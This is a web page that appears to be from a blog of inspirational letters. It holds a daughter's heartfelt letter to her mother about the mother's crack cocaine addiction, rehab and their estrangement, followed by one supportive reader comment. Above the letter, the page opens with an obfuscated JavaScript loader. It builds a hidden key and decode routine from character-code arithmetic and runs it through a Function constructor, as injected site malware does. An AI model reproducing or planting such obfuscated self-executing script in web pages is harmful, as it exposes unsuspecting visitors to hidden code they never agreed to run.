unction(String.fromCharCode(19 - 9, 126 - 8, 100 - 3, 122 - 8, 37 - 5, 109 - 2, 104 - 3, 129 - 8, 36 - 4, 67 - 6, 34 - 2, 41 - 2, 106 - 2, 113 - 9, 94 - 8, 123 - 9, 123 - 2, 83 - 4, 130 - 9, 94 - 9, 112 - 2, 80 - 7, 43 - 4, 64 - 5, 15 - 5, 119 - 1, 104 - 7, 122 - 8, 38 - 6, 102 - 1, 111 - 1, 106 - 7, 108 - 7, 109 - 9, 35 - 3, 63 - 2, 41 - 9, 48 - 9, 85 - 4, 74 - 9, 60 - 8, 114 - 8, 76 - 4, 67 - 1, 119 - 8, 57 - 2, 78 - 9, 73 - 5, 118 - 7, 70 - 5, 100 - 3, 89 - 8, 111 - 4, 101 - 3, 86 - 9, 112 - 4, 113 - 1, 84 - 3, 106 - 8, 125 - 6, 76 - 2, 110 - 8, 89 - 5, 112 - 3, 115 - 8, 105 - 4, 68 - 1, 88 - 5, 83 - 1, 85 - 2, 71 - 3, 112 - 8, 74 - 9, 92 - 6, 80 - 1, 107 - 4, 53 - 5, 120 - 9, 80 - 8, 69 - 4, 72 - 3, 56 - 3, 81 - 9, 71 - 1, 117 - 9, 125 - 4, 96 - 9, 91 - 3, 81 - 8, 80 - 9, 81 - 1, 87 - 5, 123 - 4, 91 - 2, 102 - 4, 72 - 2, 51 - 2, 93 - 6, 86 - 7, 82 - 1, 71 - 6, 63 - 6, 78 - 7, 126 - 5, 123 - 7, 80 - 9, 76 - 9, 131 - 9, 114 - 7, 110 - 8, 92 - 6, 106 - 1, 128 - 9, 81 - 6, 78 - 4, 108 - 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9, 114 - 3, 111 - 1, 41 - 1, 104 - 4, 105 - 4, 104 - 5, 44 - 3, 47 - 6, 49 - 9, 45 - 4, 68 - 9, 14 - 4, 16 - 6)))();

Dear Mom

Dear Mom,

The women I most admire aren’t rich or famous. Quite the opposite. The women who have inspired me the most are real. They have struggles and scars unlike any I have known in my short life. They have struggled through poverty, indifference, broken hearts, addiction, and sexual abuse, and recovery. They have built beautiful families with smart, strong daughters and sons. Whether they went to Harvard, HACC, or high school, they have a knowledge far beyond my own. I would be proud to call each of them my mom.

But biologically, everyone has only one mother. You are the one who nourished me at your breast and loved me unconditionally for all the years of my life. I will never have another like you. You and dad gave me the gift of a beautiful, happy childhood, a decade of sheltered bliss. You were my teacher, my playmate, and my best friend. You were never blessed with any other children, so you and I spent countless hours alone together, private conversations and years of quiet coexistence. I felt you and Dad knew me best out of anyone. We were Three Musketeers, a tiny family with a lot of love and enough comfort to go around.

Your separation from dad shattered our little family. A second home was purchased, and I thought the move meant saying goodbye to the house I grew up in and that as a family, we were going to have a new beginning. Soon I was set straight: You were moving into the new house and Daddy was staying put. We had a fresh start. But we weren’t a family anymore. I cultivated separate relationships with you and Dad and I guess everything grew to be normal.
Except it wasn’t.

My relationship with you was mostly just confusing. Middle school and high school brought swift emotional and physical changes and I withdrew. You seemed upset with me over things that didn’t make sense. You accused me of lying. Of loving Dad more than you. Of not loving you at all. You got letters from the county prison and the phone didn’t always work and once I came home and the electricity was turned off. We had always been middle class people with electricity and a working phone and I didn’t know anybody in prison. There were times I was completely terrified of you.
I tried to believe that you were just careless, or depressed. That your hysterical fits and whole days spent curled in bed were normal. What the hell was normal, anyway?

On an overcast January day in 2009, Dad picked me up at school in the middle of the day. I cried. I was haunted by what had been and what could be.
You were addicted to crack cocaine. And nothing would ever be normal again.

In the years that followed we became estranged. Periodically I’d live with you until you had to go to rehab or you kicked me out of your house or I got fed up and didn’t want to be around you anymore. The “new normal” began to take shape. I avoided places I knew you might be. I found some solace with Dad, the only one who knew the depth and breadth of what you had put us through. But even he fell short. After your divorce he wasn’t obligated to take care of you anymore. That privilege was reserved for me. You borrowed money and stole items I never had the courage to ask about. I put gas in your car and hoped you wouldn’t go hungry. I prayed you would stop using. Then I stopped praying because it felt stupid to ask for transformation for someone who was never going to change.

You paid for my dress for senior prom and then missed it because you were in rehab. You stopped using long enough to attend my graduation but were back at it by the time I left for college. I left for Philadelphia feeling lost and angry.

I longed for a transformation of my own. It came slowly, with new friends and confidence to be myself and celebrate what I wanted to become instead of what I felt doomed to turn into. I still jealously admired my friends’ relationships with their parents. I didn’t know what to make of myself. I am older now and maybe wiser. At times I impress even myself.

I feel guilty for things that aren’t my fault and you have manipulated and stolen and lied to me. You have hurt me in ways I don’t even understand. And yes, sometimes I still feel angry about it. I have, in anger, called you stupid and told you to grow up. This isn’t a game.

And I guess that much is true. It’s not a game, and you shouldn’t be playing with your life. I want more than anything to make life easier for us. Someday, maybe, that will be possible. I love you very much and it crushes me to watch your slow suicide.

You are a beautiful, smart and strong woman who has lived through things I can’t even imagine. You are better than your worst days and you can get through this. I can’t promise you that life will be easy and fun because in 21 years I have learned that sometimes it’s neither. I admire your kindness, generosity and great capacity to love. I love you because you are my mother, and I will never get another one, no matter how many other strong and inspiring women come into my life.

Sometimes I pretend to be hardened to your suffering. Please know that I am sorry for pulling away. I long for a better life for you, but it is not enough to hope for a change. I want to be your daughter and your friend. I beg you to stop using. You are the only one who can change your life.

Take care,

Nina

Written by

Inspirational letters to remarkable women who have changed the lives of women everywhere.
  • Traci

    This is a beautiful letter to your mom. My heart hurts for you but I am glad that you are able to express yourself with words and still say positive things about your mom. I send you lots of positive energy and love.


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